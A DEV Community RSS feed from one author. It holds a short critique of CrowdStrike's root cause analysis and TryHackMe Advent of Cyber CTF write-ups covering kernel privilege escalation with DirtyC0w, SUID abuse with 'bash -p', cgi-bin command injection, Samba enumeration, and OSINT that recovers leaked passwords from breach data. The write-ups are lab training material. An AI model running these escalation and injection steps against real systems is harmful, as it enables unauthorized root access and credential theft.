<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Middleclass Dev</title>
    <description>The latest articles on DEV Community by Middleclass Dev (@middleclassdev).</description>
    <link>https://dev.to/middleclassdev</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F522638%2Fcb258ffc-af6b-4583-b6ce-f0cd1141fd4b.png</url>
      <title>DEV Community: Middleclass Dev</title>
      <link>https://dev.to/middleclassdev</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/middleclassdev"/>
    <language>en</language>
    <item>
      <title>Commentary on CrowdStrike BSOD Root Cause Analysis Release</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Fri, 09 Aug 2024 16:06:10 +0000</pubDate>
      <link>https://dev.to/middleclassdev/commentary-on-crowdstrike-bsod-root-cause-analysis-release-32l4</link>
      <guid>https://dev.to/middleclassdev/commentary-on-crowdstrike-bsod-root-cause-analysis-release-32l4</guid>
      <description>&lt;p&gt;After the initial incident response writeup, CrowdStrike recently posted &lt;a href="https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/" rel="noopener noreferrer"&gt;this more in depth Root Cause Analysis&lt;/a&gt; (RCA).&lt;/p&gt;

&lt;p&gt;The link leads to an overview and the actual RCA is written as &lt;a href="https://www.crowdstrike.com/wp-content/uploads/2024/08/Channel-File-291-Incident-Root-Cause-Analysis-08.06.2024.pdf" rel="noopener noreferrer"&gt;a 12 pages PDF&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;In my opinion, this RCA is crafted more for PR instead of clearly stating the issue. Which is kinda expected as don't think there's a good reason a fallout this big can happen this way.&lt;/p&gt;

&lt;p&gt;Firstly, the reports hide the very obvious mitigation of Template Instances should have staged deployment to be the last one when it should have been the first. It also gives the feeling of purposely putting a lot of domain specific details to numb reader out before getting to that final mitigation points 🔴&lt;/p&gt;

&lt;p&gt;CrowdStrike also skimmed over another important detail which is its kernel code. This statement is repeated in previous report and this RCA Rapid Response Content is configuration data; it is not code or a kernel driver , but the fact that the data is used by kernel code and in fact did cause issue means that it should be treated similarly. The mitigation here should be to review the whole architecture and make sure the absolute minimal code are running in kernel mode. Guess that is gloss over cause it will be costly or shine them in a bad light 🤷&lt;/p&gt;

</description>
      <category>security</category>
      <category>kernel</category>
      <category>microsoft</category>
      <category>news</category>
    </item>
    <item>
      <title>AoC 2 [2020] TryHackMe CTF 🐱‍💻Day 13 &amp; 14</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sat, 27 Aug 2022 09:55:15 +0000</pubDate>
      <link>https://dev.to/middleclassdev/aoc-2-2020-tryhackme-ctf-day-13-14-2ja4</link>
      <guid>https://dev.to/middleclassdev/aoc-2-2020-tryhackme-ctf-day-13-14-2ja4</guid>
      <description>&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Day 1️⃣3️⃣

&lt;ul&gt;
&lt;li&gt;👣Steps&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Day 1️⃣4️⃣

&lt;ul&gt;
&lt;li&gt;🧠Info&lt;/li&gt;
&lt;li&gt;👣Steps&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Day 1️⃣3️⃣ - Linux Enumeration, Discovering and Priv Escalation &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  👣Steps &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Initial access

&lt;ul&gt;
&lt;li&gt;The first few questions only need to follow the info provided in the questions&lt;/li&gt;
&lt;li&gt;After running &lt;code&gt;nmap {machine IP}&lt;/code&gt;, out of the 3 open ports telnet is the old, deprecated service that stands out.&lt;/li&gt;
&lt;li&gt;To get the password, just run &lt;code&gt;telnet {machine IP} {telnet port number}&lt;/code&gt;. The username and password are shown in the login welcome messages.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Enumeration

&lt;ul&gt;
&lt;li&gt;Run the 3 commands recommended by the questions to learn more about the machine

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat /etc/*release&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uname -a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat /etc/issue&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The answer for the first question is shown in the output of the first command above&lt;/li&gt;

&lt;li&gt;Running &lt;code&gt;cat cookies_and_milk.txt&lt;/code&gt; will show the answer for the question of &lt;code&gt;Who got here first?&lt;/code&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Privilege Escalation via DirtyC0w 🐮

&lt;ul&gt;
&lt;li&gt;The question provided a link that contains more info about this exploit.&lt;/li&gt;
&lt;li&gt;That link contains &lt;a href="https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs" rel="noopener noreferrer"&gt;this page&lt;/a&gt; where it has a lot of proof of concepts (POCs) for this exploit.

&lt;ul&gt;
&lt;li&gt;However, non of them is the one that this question intend us to use.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Ended up using &lt;a href="https://grep.app/search?q=struct%20Userinfo%20user%3B" rel="noopener noreferrer"&gt;grep.app&lt;/a&gt; to search code online to find the original code. 

&lt;ul&gt;
&lt;li&gt;The search string used is &lt;code&gt;struct Userinfo user;&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;All the top search results are the correct original dirtyc0w C source code&lt;/li&gt;

&lt;li&gt;Choose the C file in exploitdb even though it's &lt;a href="https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/40839.c" rel="noopener noreferrer"&gt;filename is not correct&lt;/a&gt; because exploitdb is a known repo to me&lt;/li&gt;

&lt;li&gt;The answer to the question on how to compile the code is found in &lt;a href="https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/40839.c#L17" rel="noopener noreferrer"&gt;line 17&lt;/a&gt;.&lt;/li&gt;

&lt;li&gt;The subsequent question is what is the new user that is created when ran using the original source

&lt;ul&gt;
&lt;li&gt;The answer can be found by reading the original source&lt;/li&gt;
&lt;li&gt;The answer is in &lt;a href="https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/40839.c#L131" rel="noopener noreferrer"&gt;line 131&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Lastly, to obtained the flag ⛳

&lt;ul&gt;
&lt;li&gt;first create a file named dirty.c, then copy all the content of &lt;a href="https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/40839.c" rel="noopener noreferrer"&gt;40839.c&lt;/a&gt; into in

&lt;ul&gt;
&lt;li&gt;This can be done in various ways, what I did were the following:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;touch dirty.c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nano dirty.c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Paste all the content by right click / shirt-insert / any other paste shortcut of your terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Ctrl+o&lt;/code&gt; to save to file&lt;/li&gt;
&lt;li&gt;Followed by &lt;code&gt;Ctrl+x&lt;/code&gt; to exit the Nano text editor&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;run &lt;code&gt;gcc -pthread dirty.c -o dirty -lcrypt&lt;/code&gt; to compile the exploit&lt;/li&gt;

&lt;li&gt;run the exploit -&amp;gt; &lt;code&gt;./dirty&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;enter any new password for &lt;code&gt;firefart&lt;/code&gt; user&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Either background the current process, or open another telnet connection&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;su firefart&lt;/code&gt; to attempt to switch user to firefart

&lt;ul&gt;
&lt;li&gt;enter your new password&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;read the message left by prepertrator as mentioned in the question

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat message_from_the_grinch.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;inside it explains what it means to "leave behind the coal"

&lt;ul&gt;
&lt;li&gt;perform the action explained&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;finally run &lt;code&gt;tree | md5sum&lt;/code&gt; as explain in the text file and the question&lt;/li&gt;

&lt;li&gt;flag obtained == profit 💰&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Day 1️⃣4️⃣ - OSINT (Open Source Intelligence) &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🧠 Info &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Tips &amp;amp; tricks

&lt;ul&gt;
&lt;li&gt;Use search engine query as a precusory scan through the internet&lt;/li&gt;
&lt;li&gt;The use of special symbols such as quotes, negative sign etc goes a long way reveal just the results that we wanted&lt;/li&gt;
&lt;li&gt;Directly search the site itself rather than using search engine might reveals desirable results 

&lt;ul&gt;
&lt;li&gt;Example, reddit &amp;amp; twitter&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Uses different search engines or niche search engine for a specific search type

&lt;ul&gt;
&lt;li&gt;For example, use &lt;a href="https://stackoverflow.com/questions/7778034/replacement-for-google-code-search" rel="noopener noreferrer"&gt;SymbolHound&lt;/a&gt; to search for query that contains special characters. &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Use image searches to search for visually similar images

&lt;ul&gt;
&lt;li&gt;Google image search&lt;/li&gt;
&lt;li&gt; &lt;a href="https://yandex.com/images/" rel="noopener noreferrer"&gt;https://yandex.com/images/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt; &lt;a href="https://tineye.com/" rel="noopener noreferrer"&gt;https://tineye.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt; &lt;a href="https://www.bing.com/visualsearch?FORM=ILPVIS" rel="noopener noreferrer"&gt;https://www.bing.com/visualsearch?FORM=ILPVIS&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt; Use breached data 

&lt;ul&gt;
&lt;li&gt; &lt;a href="https://haveibeenpwned.com/" rel="noopener noreferrer"&gt;https://haveibeenpwned.com/&lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href="http://scylla.so/" rel="noopener noreferrer"&gt;http://scylla.so/&lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href="https://dehashed.com/" rel="noopener noreferrer"&gt;https://dehashed.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Tools to search for user accounts across social media platforms. 

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://namechk.com/" rel="noopener noreferrer"&gt;https://namechk.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://whatsmyname.app/" rel="noopener noreferrer"&gt;https://whatsmyname.app/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://namecheckup.com/" rel="noopener noreferrer"&gt;https://namecheckup.com/&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;Github source

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/WebBreacher/WhatsMyName" rel="noopener noreferrer"&gt;https://github.com/WebBreacher/WhatsMyName&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sherlock-project/sherlock" rel="noopener noreferrer"&gt;https://github.com/sherlock-project/sherlock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h4&gt;
  
  
  👣Steps &lt;a&gt;&lt;/a&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Task #1

&lt;ul&gt;
&lt;li&gt;To begin, search for &lt;code&gt;reddit IGuidetheClaus2020&lt;/code&gt; in DuckDuckGo&lt;/li&gt;
&lt;li&gt;Go to the first result, clicked on the &lt;code&gt;comment&lt;/code&gt; tab and the URL is the answer for the first question&lt;/li&gt;
&lt;li&gt;For the second question, the answer is in the &lt;code&gt;overview&lt;/code&gt; tab&lt;/li&gt;
&lt;li&gt;Google'd &lt;code&gt;IGuidetheClaus2020 creator robert&lt;/code&gt; will reveals IGuidetheClaus2020's creator last name&lt;/li&gt;
&lt;li&gt;Along side IGuidetheClaus2020's creator, among the search results is IGuidetheClaus2020 twitter account. This is the answer for the fourth question&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Task #2

&lt;ul&gt;
&lt;li&gt;In a few of the retweets, IGuideClaus2020 mentioned a TV show.&lt;/li&gt;
&lt;li&gt;Two of the tweets mentioned about parade, with the first one explicitly giving hint about going to a parade

&lt;ul&gt;
&lt;li&gt;Performing a visual search of the image will reveal in which city the parade is held.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The question about where exactly the parade image is taken is the most technical so far

&lt;ul&gt;
&lt;li&gt;First, find an image metadata viewer AKA EXIF viewer. Search for &lt;code&gt;online exif data viewer&lt;/code&gt; and use the first result. For me it is &lt;a href="https://onlineexifviewer.com/" rel="noopener noreferrer"&gt;https://onlineexifviewer.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Using this we can avoid the need to download and install a software&lt;/li&gt;
&lt;li&gt;Using the 2 URLs of the 2 images of the parade, we found that they don't contain any EXIF data.&lt;/li&gt;
&lt;li&gt;However, another post shared a high quality photo of one of the parade image.&lt;/li&gt;
&lt;li&gt;Using that URL in &lt;a href="https://onlineexifviewer.com/" rel="noopener noreferrer"&gt;https://onlineexifviewer.com/&lt;/a&gt; reveals the exact GPS location coordinate. &lt;/li&gt;
&lt;li&gt;Round down the precision to 6 decimal will yields the answer.&lt;/li&gt;
&lt;li&gt;In the same EXIF data, there's a flag in the &lt;code&gt;copyright&lt;/code&gt; field&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The question about has Rudolph been pawned and what password of his appeared in a breach is a more open ended question

&lt;ul&gt;
&lt;li&gt;There is hints in the task#2 description where it mentioned questions #6 -11 can be solved by using info on his twitter account&lt;/li&gt;
&lt;li&gt;Steps to answer this question is as follows

&lt;ul&gt;
&lt;li&gt;Follow the steps in this site to use &lt;a href="https://kalilinuxtutorials.com/scylla/" rel="noopener noreferrer"&gt;Scylla&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;However, found out that the tools are outdated and don't work on the current Twitter&lt;/li&gt;
&lt;li&gt;Visit the twitter user page and noticed the email is listed in the user description&lt;/li&gt;
&lt;li&gt;Use haveibeenpwn to search and it only mentioned about the password is being breached in LiveJournal&lt;/li&gt;
&lt;li&gt;Search online for more data breached site and came across &lt;a href="https://www.breachdirectory.org/" rel="noopener noreferrer"&gt;breach directory&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Here it shows two sha1 which hints of what are the password

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;live************&lt;/code&gt;: 7ae929950f2d937538eee064371ceb612ed9c59e&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;spyg***&lt;/code&gt;: 6e3f262dccc80924be40aa96554ce5df182e939a&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Then, use a site called &lt;a href="https://md5decrypt.net/en/Sha1/#answer" rel="noopener noreferrer"&gt;md5decrypt&lt;/a&gt; to search for the decryted password. Usually the sha1 of common password are easily searchable without the need to crack 🦀 them ourself

&lt;ul&gt;
&lt;li&gt;Another alternative is &lt;a href="https://hashes.com/en/decrypt/hash" rel="noopener noreferrer"&gt;&lt;/a&gt; where it manages to find decrypt the first sha1 while md5decrypt fails.&lt;/li&gt;
&lt;li&gt;Try it for yourself and get the excitement of figuring out a password!&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;For the question of what is the street number of the hotel Rudolph is staying

&lt;ul&gt;
&lt;li&gt;Originally can't figure out where to start. &lt;/li&gt;
&lt;li&gt;However, after some pondering and failed online search got a relization that this question probably is asking about Rudolph when he is in Parade as those twitter post will still be consider new during the time this CTF is on-going&lt;/li&gt;
&lt;li&gt;Check the EXIF data of the &lt;a href="https://tcm-sec.com/wp-content/uploads/2020/11/lights-festival-website.jpg" rel="noopener noreferrer"&gt;parade high-res photo&lt;/a&gt; using &lt;a href="https://onlineexifviewer.com/" rel="noopener noreferrer"&gt;https://onlineexifviewer.com/&lt;/a&gt;
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxi2rjm19imp1apoyx2qq.png" alt="screenshot of EXIF data of parade image" width="800" height="547"&gt; &lt;/li&gt;
&lt;li&gt;Opening the GPS coordinate using google map, and search for the closest hotel.&lt;/li&gt;
&lt;li&gt;The street number of the hotel address is the answer to the final question&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>AoC 2 [2020] CTF 🐱‍💻Day 10 to 12 (+bonus challenge)</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Fri, 19 Aug 2022 14:43:00 +0000</pubDate>
      <link>https://dev.to/middleclassdev/aoc-2-2020-ctf-day-10-to-12-bonus-challenge-48j9</link>
      <guid>https://dev.to/middleclassdev/aoc-2-2020-ctf-day-10-to-12-bonus-challenge-48j9</guid>
      <description>&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Previous AoC2020 Writeups&lt;/li&gt;
&lt;li&gt;
Day 🔟

&lt;ul&gt;
&lt;li&gt;👣Steps&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Day 1️⃣1️⃣

&lt;ul&gt;
&lt;li&gt;🧠Info&lt;/li&gt;
&lt;li&gt;👣Steps&lt;/li&gt;
&lt;li&gt;🎉Bonus&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Day 1️⃣2️⃣

&lt;ul&gt;
&lt;li&gt;🧠Info&lt;/li&gt;
&lt;li&gt;👣Steps&lt;/li&gt;
&lt;li&gt;🎉Bonus&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  ⏮Previous AoC2020 Writeups &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://dev.to/wizlee/advent-of-cyber-2-2020-writeups-day1-to-day9-288j"&gt;Day 1 to 9&lt;/a&gt; writeups.&lt;/p&gt;




&lt;h2&gt;
  
  
  Day 🔟 - Network file sharing (Samba) Exploit via enum4linux &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  👣Steps &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Get &lt;a href="https://github.com/cddmp/enum4linux-ng" rel="noopener noreferrer"&gt;enum4linux-ng&lt;/a&gt; source from github&lt;/li&gt;
&lt;li&gt;Using docker as there's no easy installation for windows&lt;/li&gt;
&lt;li&gt;change directory to &lt;code&gt;enum4linux-ng&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;build the docker image using the Dockerfile &lt;code&gt;docker build . -t enum4linux-ng&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;Optionally it is possible to directly called docker build using git URLs. Didn't spent too much time on testing that as the source code for enum4linux-ng is small.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Find how many users are on the samba server by running &lt;code&gt;docker run --rm -it enum4linux-ng -U {samba server IP}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;The command fails to find user, run the help command to figure out other mode of enumerating users &lt;code&gt;docker run --rm -it enum4linux-ng help&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use RID cycling instead of only RPC to enumerate users -&amp;gt; &lt;code&gt;docker run --rm -it enum4linux-ng -U -R {samba server IP}&lt;/code&gt;. 

&lt;ul&gt;
&lt;li&gt;In fact &lt;code&gt;-R&lt;/code&gt; should already be sufficient because &lt;code&gt;-U&lt;/code&gt; fails to find any user.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Find how many samba share are available by running &lt;code&gt;docker run --rm -it enum4linux-ng -S {samba server IP}&lt;/code&gt;
&lt;/li&gt;

&lt;li&gt;Tried the 4 shares one by one to see which one don't need password

&lt;ul&gt;
&lt;li&gt;When typed in windows explorer, found that 3 of the 4 shares got auto-complete&lt;/li&gt;
&lt;li&gt;Chose &lt;code&gt;\\{samba server IP}\tbfc-santa&lt;/code&gt; as intuitively that looks to be the most likely candidate&lt;/li&gt;
&lt;li&gt;Bingo! &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;From the windows explorer, it is obvious that &lt;code&gt;jingle-tunes&lt;/code&gt; is the directory that ElfMcSkidy leave for Santa&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Day 1️⃣1️⃣ - Privilege Escalation &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🧠Info &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The "Priv Esc Checklist"

&lt;ol&gt;
&lt;li&gt;Determining the kernel of the machine (kernel exploitation such as Dirtyc0w)&lt;/li&gt;
&lt;li&gt;Locating other services running or applications installed that may be abusable (SUID &amp;amp; out of date software)&lt;/li&gt;
&lt;li&gt;Looking for automated scripts like backup scripts (exploiting crontabs)&lt;/li&gt;
&lt;li&gt;Credentials (user accounts, application config files..)&lt;/li&gt;
&lt;li&gt;Mis-configured file and directory permissions&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;List of files useful for reconnaissance

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;id_rsa&lt;/code&gt;: common filename of a file that stores private key for ssh&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/etc/sudoers&lt;/code&gt;: list of users that can use sudo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/etc/shadows&lt;/code&gt; &amp;amp; &lt;code&gt;/etc/passwd&lt;/code&gt;: files that are the most commonly used and standard scheme for performing authentication

&lt;ul&gt;
&lt;li&gt;this can be useful for password cracking&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Finding executables with SUID set

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;One trick is to set SUID on the &lt;code&gt;cp&lt;/code&gt; command

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;chmod u+s /usr/bin/cp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cp&lt;/code&gt; can then be used to copy locations of interests such as other users directory and the &lt;code&gt;/root&lt;/code&gt;  directory.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Covering tracks basics

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/var/log/auth.log&lt;/code&gt;: Attempted logins for SSH, changes too or logging in as system users&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/var/log/syslog&lt;/code&gt;: System events such as firewall alerts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/var/log/{service}&lt;/code&gt;: common og directories for services&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  👣Steps &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The challenge is only to read the content of /root/flag.txt&lt;/li&gt;
&lt;li&gt;The rest of the questions are to guide you towards that objective.&lt;/li&gt;
&lt;li&gt;First ran &lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/code&gt; to find executables with SUID set

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/bin/bash&lt;/code&gt; jumps out right away, first idea is to use &lt;code&gt;-c&lt;/code&gt; to directly cat the flag. Somehow that don't work.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;There's no need to use wget or nc to get &lt;code&gt;LinEnum.sh&lt;/code&gt; over to the machine.

&lt;ul&gt;
&lt;li&gt;We can just use nano to save our pasted text directly as the shell script.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Further reading reveals that the most probable reason is the executable ran by the SUID executable will need to have SUID bit set.

&lt;ul&gt;
&lt;li&gt;That means for &lt;code&gt;bash -c "cat /root/flag.txt"&lt;/code&gt; to work, &lt;code&gt;/bin/cat&lt;/code&gt; will need to have its SUID bit set.&lt;/li&gt;
&lt;li&gt;tried to use chmod to set SUID but chmod itself don't have SUID set&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Finally give up on self exploration and just refers to &lt;a href="https://gtfobins.github.io/gtfobins/bash/#suid" rel="noopener noreferrer"&gt;bash entry in GTFObins&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;The solution is to simply run &lt;code&gt;bash -p&lt;/code&gt;!!!&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-p&lt;/code&gt; means: Turned on whenever the real and effective user ids do not match. Disables processing of the $ENV file and importing of shell functions.  Turning this option off causes the effective uid and gid to be set to the real uid and gid.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;man bash&lt;/code&gt; explains it better: If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;After &lt;code&gt;bash -p&lt;/code&gt;,  running &lt;code&gt;cat /root/flags.txt&lt;/code&gt; will show the flag
&lt;h3&gt;
  
  
  🎉Bonus &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;


&lt;/li&gt;

&lt;li&gt;Took a look in &lt;code&gt;/var/log/auth.log&lt;/code&gt;, there we can see that cmnatic is logged in via ssh.&lt;/li&gt;

&lt;li&gt;Then, the log shows that cmnatic user opens a session as root (uid=0)&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Day 1️⃣2️⃣ - Enumeration, Discovering and Exploiting Windows Web Servers &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🧠Info &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;An attacker can use knowledgebases such as &lt;a href="http://rapid7.com/" rel="noopener noreferrer"&gt;Rapid7&lt;/a&gt;, &lt;a href="https://attackerkb.com/" rel="noopener noreferrer"&gt;AttackerKB&lt;/a&gt;, &lt;a href="https://cve.mitre.org/cve/" rel="noopener noreferrer"&gt;MITRE&lt;/a&gt; or &lt;a href="http://exploit-db.com/" rel="noopener noreferrer"&gt;Exploit-DB&lt;/a&gt; to look for vulnerabilities associated with the version number of that application.&lt;/li&gt;
&lt;li&gt;Learn more about these knowledgebases in &lt;a href="https://tryhackme.com/room/introtoresearch" rel="noopener noreferrer"&gt;MuirlandOracle's Intro to Research&lt;/a&gt; room.&lt;/li&gt;
&lt;li&gt;Interesting endpoints of a webserver

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cgi-bin/&lt;/code&gt;: example is {webserver IP}/cgi-bin/systeminfo.sh

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;?&amp;amp;&lt;/code&gt; can be used to chain OS commands here: example  {webserver IP}/cgi-bin/systeminfo.sh?&amp;amp;ls&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  👣Steps &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run &lt;code&gt;nmap -sS {machine IP}&lt;/code&gt; to discover what port the webserver is serving the website

&lt;ul&gt;
&lt;li&gt;Found out that the website is serves on port 8080&lt;/li&gt;
